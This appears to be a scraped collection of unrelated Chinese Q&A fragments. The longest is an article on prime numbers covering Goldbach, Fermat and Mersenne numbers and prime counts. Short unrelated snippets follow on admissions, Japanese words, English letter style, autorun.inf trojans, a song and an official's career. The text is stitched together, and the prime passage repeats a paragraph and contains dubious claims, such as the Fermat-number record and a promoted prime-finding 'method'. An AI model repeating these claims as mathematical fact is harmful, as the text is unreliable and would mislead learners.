1957年，中国的王元先后证明了 “3+3 ”和 “2+3 ”。 1962年，中国的潘承洞和苏联的巴尔巴恩(BapoaH)证明了 “1+5 ”， 中国的王元证明了“1+4 ”。 1965年，苏联的布赫 夕太勃(Byxwrao)和小维诺格拉多夫(BHHopappB)，及 意大利的朋比利(Bombieri)证明了“1+3 ”。 1966年，中国的陈景润证明了 “1+2 ”[用通俗的话说，就是大偶数=素数+素数*素数或大偶数=素数+素数（注：组成大偶数的素数不可能是偶素数，只能是奇素数。因为在素数中只有一个偶素数，那就是2。）]。 其中“s + t ”问题是指: s个质数的乘积 与t个质数的乘积之和 20世纪的数学家们研究哥德巴赫猜想所采用的主要方法，是筛法、圆法、密率法和三角和法等等高深的数学方法。解决这个猜想的思路，就像“缩小包围圈”一样，逐步逼近最后的结果。 由于陈景润的贡献，人类距离哥德巴赫猜想的最后结果“1＋1”仅有一步之遥了。但为了实现这最后的一步，也许还要历经一个漫长的探索过程。有许多数学家认为，要想证明“1＋1”，必须通过创造新的数学方法，以往的路很可能都是走不通的。质数的性质 被称为“17世纪最伟大的法国数学家”费尔马，也研究过质数的性质。他发现，设Fn=2^(2^n)+1，则当n分别等于0、1、2、3、4时，Fn分别给出3、5、17、257、65537，都是质数，由于F5太大（F5=4294967297），他没有再往下检测就直接猜测：对于一切自然数，Fn都是质数。但是，就是在F5上出了问题！费尔马死后67年，25岁的瑞士数学家欧拉证明：F5=4294967297=641*6700417，并非质数，而是合数。 更加有趣的是，以后的Fn值，数学家再也没有找到哪个Fn值是质数，全部都是合数。目前由于平方开得较大，因而能够证明的也很少。现在数学家们取得Fn的最大值为：n=1495。这可是个超级天文数字，其位数多达10^10584位，当然它尽管非常之大，但也不是个质数。质数和费尔马开了个大玩笑！ 还有一种被称为“殆素数”的，意思是很像素数，著名数学家陈景润就使用了这个概念，他的“1+2”的“2”，就表示“殆素数”，实际上是一个合数。大家不要搞混了。严格地讲，“殆素数”不是一个科学概念，因为科学概念的特征是（1）精确性；（2）稳定性；（3）可以检验；（4）系统性；（5）专义性。例如，许多数学家使用了“充分大”，这也是一个模糊概念，因为陈景润把它定义为“10的50万次方”，即在10的后面加上50万个“0”。这是一个无法检验的数。[编辑本段]质数的假设 17世纪还有位法国数学家叫梅森，他曾经做过一个猜想：2^p-1代数式，当p是质数时，2^p-1是质数。他验算出了：当p=2、3、5、7、11、13、17、19时，所得代数式的值都是质数，后来，欧拉证明p=31时，2^p-1是质数。 p＝2，3，5，7时，Mp都是素数，但M11＝2047＝23×89不是素数。 还剩下p=67、127、257三个梅森数，由于太大，长期没有人去验证。梅森去世250年后，美国数学家科勒证明，2^67-1=193707721*761838257287，是一个合数。这是第九个梅森数。20世纪，人们先后证明：第10个梅森数是质数，第11个梅森数是合数。质数排列得这样杂乱无章，也给人们寻找质数规律造成了困难。[编辑本段]质数表上的质数 现在，数学家找到的最大的梅森数是一个有9808357位的数：2^32582657-1。数学虽然可以找到很大的质数，但质数的规律还是无法循通。 [编辑本段]【求大质数的方法】 研究发现质数除2以外都是奇数，而奇数除了【奇数*奇数】(或再加“*奇数”）都是质数。那么用计算机先把【奇数*奇数】(或再加“*奇数”）（比如9，15，21，25，27，33，35，39……）都求出来，再找奇数中上面没提到的那些数，那些数就是素数。 人们找出的几个超大质数中有遗漏，那么就可以用此方法求出那些遗漏的数，不过需要很长时间！ 这对于“孪生素数”有帮助喔！ 上面这个算法比较麻烦，对于求很大的素数效率低下，这个很大的素数可以用概率算法求。 求素数，请用《公理与素数计算》。这种方法用不着将所有奇数都写出来，而且计算出来的素数可以做到一个不漏。对于合数的删除，也不是涉及所有奇合数，删除是准确无误的，删除奇合数后剩余的全部是素数。如：对奇素数3的倍数的数进行删除，在整个自然数中只须删除一个数；对素数5的倍数的数进行删除，在整个自然数中只须删除2个数；对素数7的倍数的数进行删除，在整个自然数中只须删除8个数；以此类推，如果哪位老师能够将它用电脑编成程序，对计算素数有很大的帮助。 上面这个算法比较麻烦，对于求很大的素数效率低下，这个很大的素数可以用概率算法求。 求素数，请用《公理与素数计算》。这种方法用不着将所有奇数都写出来，而且计算出来的素数可以做到一个不漏。对于合数的删除，也不是涉及所有奇合数，删除是准确无误的，删除奇合数后剩余的全部是素数。如：对奇素数3的倍数的数进行删除，在整个自然数中只须删除一个数；对素数5的倍数的数进行删除，在整个自然数中只须删除2个数；对素数7的倍数的数进行删除，在整个自然数中只须删除8个数；以此类推，如果哪位老师能够将它用电脑编成程序，对计算素数有很大的帮助。”[编辑本段]【质数的个数】 有近似公式： x 以内质数个数约等于 x / ln(x) ln是自然对数的意思。 尚准确的质数公式未给出。 10 以内共 4 个质数。 100 以内共 25 个质数。 1000 以内共 168 个质数。 10000 以内共 1229 个质数。 100000 以内共 9592 个质数。 1000000 以内共 78498 个质数。 10000000 以内共 664579 个质数。 100000000 以内共 5761455 个质数。 ...... 总数无限。

我的孩子考219分，能录取吗?有没有希望。

"纳尼"就是日语里的"什么"的谐音!你说的那个"搜类"应该是"搜噶",是日语里"这样"的意思!记得采纳啊

也没有太大的危害,只是不可以双击打开盘,不可以查看隐藏文件而已.

茁壮成长英:[θrau026av]美:[θrau026av]v.兴旺发达; 繁荣; 蓬勃发展; 旺盛; 茁壮成长; 例句:This has created an environment where Sri investors can thrive.这创造了一个sri投资者可以茁壮成长的环境。现在分词:thriving过去式:thrived过去分词:thrived第三人称单数:thrives

正式信件用Dear Sir or Madam开头。用“I am writing with regard to”说明目的。并且使用以下正式词汇：due to, I intended, as a result of, caused me great inconvenience, compensate me, the additional flight。不可以使用缩写：写成I am而不是I"m。除此之外结尾是用 I look forward to receiving your response. Yours faithfully。非正式信件用Dear xxx开头。用“ I"m just writing to let you know that”说明目的。并且使用以下非正式词汇：As you know, Well, prices are crazy, on the bright side, it"s got nice big windows, a lovely view, if you ever fancy, great to see you。可以使用缩写：I"m, we"ve, isn"t, it"s除此之外结尾是用：Keep in touch! All the best一般为美好的祝愿。

autorun.inf是我们电脑使用中比较常见的文件之一，其作用是允许在双击磁盘时自动运行指定的某个文件。但是近几年出现了用autorun.inf文件传播木马或病毒，它通过使用者的误操作让目标程序执行，达到侵入电脑的目的，带来了很大的负面影响。

谐音“希望の花”，一首日语歌Uru的《フリージア》

　　李广胜　　男，汉族，1958年1月出生，河南临颍县人，1981年3月参加工作，1984年11月加入中国共产党，郑州大学思想政治教育专业毕业，大学文化。现任河南省食品药品监督管理局党组书记、局长。　　履历　　1979.04——1981.03，河南省洛阳林校果林专业学习　　1981.03——1983.08，河南省临颍县林业局工作　　1983.08——1985.12，河南省许昌县林业局副局长　　1985.12——1988.08，河南省许昌县尚集镇党委副书记、镇长　　1988.08——1989.11，河南省许昌县尚集镇党委书记　　1989.11——1992.10，河南省长葛县委常委、办公室主任　　1992.10——1994.10，河南省长葛县（市）委副书记（其间：1991.09—1994.07在河南省委党校函授大专班学习）　　1994.10——1995.08，河南省长葛市委副书记、代市长、市长（其间：1993.09—1995.07在郑州大学经济管理专业半脱产学习）　　1995.08——1995.11，河南省长葛市委书记、市长　　1995.11——1998.03，河南省长葛市委书记、许昌市委委员　　1998.03——1998.09，河南省信阳地区行政公署副专员、党组成员　　1998.09——2003.06，河南省信阳市政府副市长、党组成员　　2003.06——2003.07，河南省信阳市政府副市长、党组成员、市委组织部部长　　2003.07——2006.12，河南省信阳市委常委、市委组织部部长　　2006.12——2007.01，河南省信阳市委常委、市政府党组副书记　　2007.01——2010.11，河南省信阳市委常委、常务副市长、市政府党组副书记　　2010.11——，河南省食品药品监督管理局党组书记、局长　　相关　　2011年3月9日至11日，省食品药品监管局党组书记、局长李广胜先后到安阳、鹤壁等地，调研了解系统基本建设、队伍建设、食品药品检验设施和仪器装备等工作，并看望基层干部职工。　　在与当地党政主要负责同志进行了沟通交流时，他强调，食品药品安全事关民生，责任重大，是人命关天的大事，监管部门要在地方政府的大力支持下，切实提高监管能力，扎实开展监管工作，不断提升人民群众饮食用药安全保障水平。

客户投诉率 complaint rate from clients和报废率 rejection rate